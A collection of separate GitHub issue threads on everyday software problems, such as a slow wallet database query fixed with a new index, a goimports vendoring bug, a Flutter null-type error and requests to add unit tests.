On Tue, Jan 14, 2020 at 2:53 PM Ian Costanzo<EMAIL_ADDRESS>wrote:

I suspect it's related to query performance. The indy-sdk/wallet generates
a very complicated query in response to the TOB proof request, for example:
SELECT i.id, i.name, i.value, i.key, i.type
FROM items as i
WHERE i.type = $1
AND ((i.id in (SELECT item_id FROM tags_encrypted WHERE name = $2 AND value = $3))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $4 AND value = $5))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $6 AND value = $7))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $8 AND value = $9))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $10 AND value = $11))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $12 AND value = $13))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $14 AND value = $15))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $16 AND value = $17))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $18 AND value = $19))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $20 AND value = $21))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $22 AND value = $23))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $24 AND value = $25))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $26 AND value = $27))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $28 AND value = $29))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $30 AND value = $31))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $32 AND value = $33))
AND (((i.id in (SELECT item_id FROM tags_encrypted WHERE name = $34 AND value = $35))
AND (i.id in (SELECT item_id FROM tags_encrypted WHERE name = $36 AND value = $37)))
)
)
(There is a sub-clause for each claim in the credential)
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/bcgov/indy-catalyst/issues/426?email_source=notifications&email_token=AAHYRQS54N4IVMSDVT2Z46LQ5Y67JA5CNFSM4KFM57X2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEI6NKNA#issuecomment-574412084,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAHYRQVFUJSHRHQWIA4KLETQ5Y67JANCNFSM4KFM57XQ
.

That's cool.  Did those indices exist before?
On Tue, Jan 14, 2020 at 2:54 PM Ian Costanzo<EMAIL_ADDRESS>wrote:

I found updating the wallet indexes improved the query on my local:
drop index ix_tags_encrypted_name;
drop index ix_tags_encrypted_value;
CREATE INDEX ix_tags_encrypted_name_value ON public.tags_encrypted USING btree (name, value);
—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/bcgov/indy-catalyst/issues/426?email_source=notifications&email_token=AAHYRQQ4WKTGTEQ5HARUHE3Q5Y7CPA5CNFSM4KFM57X2YY3PNVWWK3TUL52HS4DFVREXG43VMVBW63LNMVXHJKTDN5WW2ZLOORPWSZGOEI6NMMY#issuecomment-574412339,
or unsubscribe
https://github.com/notifications/unsubscribe-auth/AAHYRQVFMTGFUERFLNHNMOTQ5Y7CPANCNFSM4KFM57XQ
.

@swcurran :

I don't recall specifically, however that would be a good optimization.  I'd need to check the code to see what changes tis would require in VCR ( @nrempel FYI)

The name and value indexes existed individually.  I don't think the value index is ever used (do you ever query a tag just by value?), and the name_value tag covers both name and the combination of name and value


Confirmation Modal UI/UX changes

[ ] Remove top price field
[ ] Inconsistent padding

https://www.notion.so/crocswap/FE-review-02-06-23-b151fe1c7091447d9c7ce809fbff993b?pvs=4 for more details

@miyuki-eto are the price fields referring to the eth and usd fields on the confirmation modal? we don't see the actual amount of tokens in the extra info anymore. do we still want to remove the price fields?

closing this as the current modal looks good


Dora metrics

Documentation for Dora metrics

[CI] Staging environment is at http://cap-staging-docs.codefresh.io.s3-website.us-east-1.amazonaws.com/dora-metrics/docs/

[CI] Staging environment is at http://cap-staging-docs.codefresh.io.s3-website.us-east-1.amazonaws.com/dora-metrics/docs/

[CI] Staging environment is at http://cap-staging-docs.codefresh.io.s3-website.us-east-1.amazonaws.com/dora-metrics/docs/

[CI] Staging environment is at http://cap-staging-docs.codefresh.io.s3-website.us-east-1.amazonaws.com/dora-metrics/docs/

[CI] Staging environment is at http://cap-staging-docs.codefresh.io.s3-website.us-east-1.amazonaws.com/dora-metrics/docs/


[BUG] Sync-up HTML report to mirror the CSV files

Describe the bug
Following the changes that added more data for the execs/expressions, we need to revisit the HTML to mirror those changes:

verify that the HTML is still valid. The HTML would break if the new CSV files changed the column headers processed by the java script
Add the additional views and columns for the execs/expressions.
Add filters top be able to brows the data based on certain criteria

Additional context

Follow-up on #680

Along with PR-680, we need to look into below PR's to make sure all the new columns/files are covered in HTML report.

PR-276, PR-358 - Check if the output in HTML is consistent with this change.
PR-401 - New csv file added for displaying unsupported operators.
PR-464 - New csv file added for displaying eventlog read status
PR-471 - New column added to rapids_4_spark_qualification_output_stages.csv file

UI is being removed as per https://github.com/NVIDIA/spark-rapids-tools/issues/1310


VoiceOver when connecting to a robot

We should have better VoiceOver when connecting to a robot. Right now there is not an audial output that informs the user when a robot has been successfully connected--we need that.

Not enough time.


x/tools/cmd/goimports: does not find import with package in vendor/, GOFLAGS="-mod=vendor" and empty $GOPATH/pkg directory

What version of Go are you using (go version)?

$ go version
go version go1.12.4

goimports from from https://github.com/golang/tools, commit d1a3278ee74994e9aa609e9e711c616bba677d5d
Does this issue reproduce with the latest release?
Yes, reproducible with go 1.12.5
What operating system and processor architecture are you using (go env)?
GOARCH="amd64"
GOBIN=""
GOCACHE="/home/fho/.cache/go-build"
GOEXE=""
GOFLAGS=""
GOHOSTARCH="amd64"
GOHOSTOS="linux"
GOOS="linux"
GOPATH="/home/fho/go"
GOPROXY=""
GORACE=""
GOROOT="/usr/lib/go"
GOTMPDIR=""
GOTOOLDIR="/usr/lib/go/pkg/tool/linux_amd64"
GCCGO="gccgo"
CC="gcc"
CXX="g++"
CGO_ENABLED="1"
GOMOD="/tmp/testproject/go.mod"
CGO_CFLAGS="-g -O2"
CGO_CPPFLAGS=""
CGO_CXXFLAGS="-g -O2"
CGO_FFLAGS="-g -O2"
CGO_LDFLAGS="-g -O2"
PKG_CONFIG="pkg-config"
GOGCCFLAGS="-fPIC -m64 -pthread -fmessage-length=0 -fdebug-prefix-map=/tmp/go-build188015067=/tmp/go-build -gno-record-gcc-switches"

What did you do?

Create a new golang project using go.mod.
The project has a a main.go file that imports the external dependency github.com/lib/pq.
The external modules are downloaded into vendor/ via go mod vendor.

mkdir -p /tmp/testproject
cd /tmp/testproject
go mod init "testproject"
echo 'package main

import (
	"fmt"
	"github.com/lib/pq"
)

func main() {
	var test pq.StringArray

	fmt.Println(test)
}' > main.go
go mod vendor

Remove the "github.com/lib/pq" import from main.go:

sed -i '/"github.com\/lib\/pq"/D' main.go

Remove $GOPATH/pkg, run goimports with GOFLAGS=-mod=vendor:

sudo rm -rf $(go env GOPATH)/pkg
GOFLAGS="-mod=vendor" goimports -d main.go

What did you expect to see?
goimports detects the missing github.com/lib/pq import and shows it in the diff.
What did you see instead?
goimports  does not find the missing github.com/lib/pg import and prints no diff.

Thanks for the excellent repro. The immediate problem is that there's no structured way for goimports to tell if vendoring is enabled. From https://github.com/golang/tools/blob/d1a3278ee74994e9aa609e9e711c616bba677d5d/imports/mod.go#L241-L248:
		if strings.HasPrefix(importPath, "vendor/") {
			// Ignore vendor dirs. If -mod=vendor is on, then things
			// should mostly just work, but when it's not vendor/
			// is a mess. There's no easy way to tell if it's on.
			// We can still find things in the mod cache and
			// map them into /vendor when -mod=vendor is on.
			return
		}

Possibly we should just attempt to parse $GOFLAGS. I think everything will work after that.

I fixed this in https://golang.org/cl/203017.

thanks a lot @heschik

The issue still persists on go1.13.1 (exactly the same scenario) . It seems like the latest goimports tool ignores GOFLAGS completely.

You're right. Sorry about that; the unit test coverage was good but I missed that GOFLAGS wasn't hooked up in the actual binary.


Not listing Servers List

Even though I did all the settings. Server listings are not listed. The ping list is empty. Server selection stays on the White page. can you help with this problem
Logcat
E/flutter (31688): [ERROR:flutter/runtime/dart_vm_initializer.cc(41)] Unhandled Exception: type 'Null' is not a subtype of type 'int'
E/flutter (31688): #0      new UserSubscribeEntity.fromMap (package:sail/entity/user_subscribe_entity.dart:40:20)
E/flutter (31688): #1      UserService.userSubscribe. (package:sail/service/user_service.dart:28:34)
E/flutter (31688):
E/flutter (31688): #2      UserSubscribeModel.getUserSubscribe (package:sail/models/user_subscribe_model.dart:21:30)
E/flutter (31688):
E/flutter (31688): #3      HomePageState.didChangeDependencies (package:sail/pages/home/home_page.dart:69:7)
E/flutter (31688):
E/flutter (31688):

Hi, did you solve it? I met the same problem, it would be great if you could share it

No, I haven't figured it out yet.

Hi, did you solve it? I met the same problem, it would be great if you could share it

You can fixed

Hello, I'm a new comer to Flutter. Have you solved this problem? I also encounter the same problem. Can I share the problem if I solve it?

any body can fix it ??

@jerry-bool Hello, can you send me a message on Telegram, I would like to do a project, the cost will be paid.
my telegram id @mmdrexa_hiis


my_first_controller.py failed

PYTHONPATH=$HOME/my_python_controllers:$PYTHONPATH mc_mujoco
...
[warning] Controller Python#my_first_controller.MyFirstController enabled in configuration but not available
...
[error] No controller selected or selected controller is not enabled, please check your configuration file
[info] Note common reasons for this error include:
- The controller name does not match the name exported by CONTROLLER_CONSTRUCTOR
- The controller library is not in a path read by mc_rtc
- The controller constuctor segfaults
- The controller library hasn't been properly linked
[critical] No controller enabled
mc_rtc.yaml:
MainRobot: JVRC1
Enabled: [Python#my_first_controller.MyFirstController]

Hi @zzz622848
If you are enforcing Python3 can you try Python3#my_first_controller.MyFirstController instead?

fixed

fixed


Drop elm-mdl, start adding polymer.

This removes elm-mdl from the app and switches to using webcomponents and the polymer implementations of Material Design elements.
At application boot time, bower is run after npm and before webpack to install the polymer components based on what is listed in bower.json.
The index.html is adjusted to add the webcomponents polyfill and to add the html imports for some common polymer components.
All the elm-mdl code is removed, and the old elm-mdl layout on the interior page is commented out for temporary reference.
The login and logout buttons still work, and are now paper-button tags using the paper-button component.

Testing native webcomponents on chrome works fine.
Testing the polyfill on safari showed a missing bower dependency on the polyfill.
The hotreload container build is hitting a docker bug with ENOENT during bower install.


Enable number buttons for taking input

Currently! Number buttons are not responsive for input . Enable them in such a way that whatever button is clicked, the input in the prompt take that number as input.

Currently! Number buttons are not responsive for input . Enable them in such a way that whatever button is clicked, the input in the prompt take that number as input.

Assign me this issue

I hope you will fix it soon. Wish you all the best! 👍

@Apoorve73  may I work on this issue ?

Yes, @prasoonjain006 ! You have done a good job in the previous issues. I will be happy assigning it to you too!!

Do pull the changes first!


Updated .gitignore for media files

Enables the versioning of "fixed" user files like a favicon.ico and preserves the internal git files.

also i just saw that officially "An Apache web server" is part of the sw5 requirements. so i guess a .htaccess file is valid. ^^

Thanks for your contribution @b3nl.
We decided to address this issue from the ground up and created a new ticket for this. You can up-vote this ticket here: https://issues.shopware.com/issues/SW-17217

Fixed with commit https://github.com/shopware/shopware/commit/256e28b30b33b097b5c038b36276a6215b1c8867.
Thanks for your feedback.

what a bad piece of english months ago ;) Thx for the work!


Ruby and Swift merge sort implementation

Could you please add some unit tests as well?

Hey, thanks for the Swift implementation bro! Could you add some tests in the structure outlined here https://github.com/kennyledet/Algorithm-Implementations/issues/459#issuecomment-118841244 ?
I'll get it merged as soon as that's done.

I'll try to add unit tests, but since I don't see why it would be required when you can see that the array is really sorted(tests are kinda inbuilt here). I did so because of the other sorting implementations in other languages I saw here. If you really want I'll make the tests, which really are done in the main program, just need to convert that to an assert.

Thanks for the contribution! And in swift no less; great stuff :smile:

I don't see why it would be required when you can see that the array is really sorted

The benefit of automated unit testing is that it transfers the burden of checking output [from the user to the system.] A million users could clone this repo, modify your algorithm, run your provided unit tests, and assertEquals(output, expectedOutput) will provide a faithful assessment of whether or not the algorithm is functioning properly; the odds of a user missing a few elements that are out of place are incredibly high, compared to the odds of assertEquals() malfunctioning. This is especially true as the size of the input grows to a level where it would be infeasible to check the algorithm's output manually.

I did so because of the other sorting implementations in other languages I saw here

Yes, as was discussed in #459, there are many past contributions which could include better tests, or any tests at all. That should not prevent the inclusion of proper tests going forward. There is probably a better way to address testing in general, and I have some thoughts on that - but that's a whole separate thread for a later time...

just need to convert that to an assert

Yes, that would be great; in a separate test file. Thanks!

Thanks for adding tests!


Remove GrainResponse

We could obsolete GrainResponse like we did in .NET
There really is no need to send the response back in some special envelope.
The reason we do it for the request is just because multiple RPC operations could take the same message request type. so we need to know which actual RPC method the client intends to invoke.
but for responses there is no such need

Done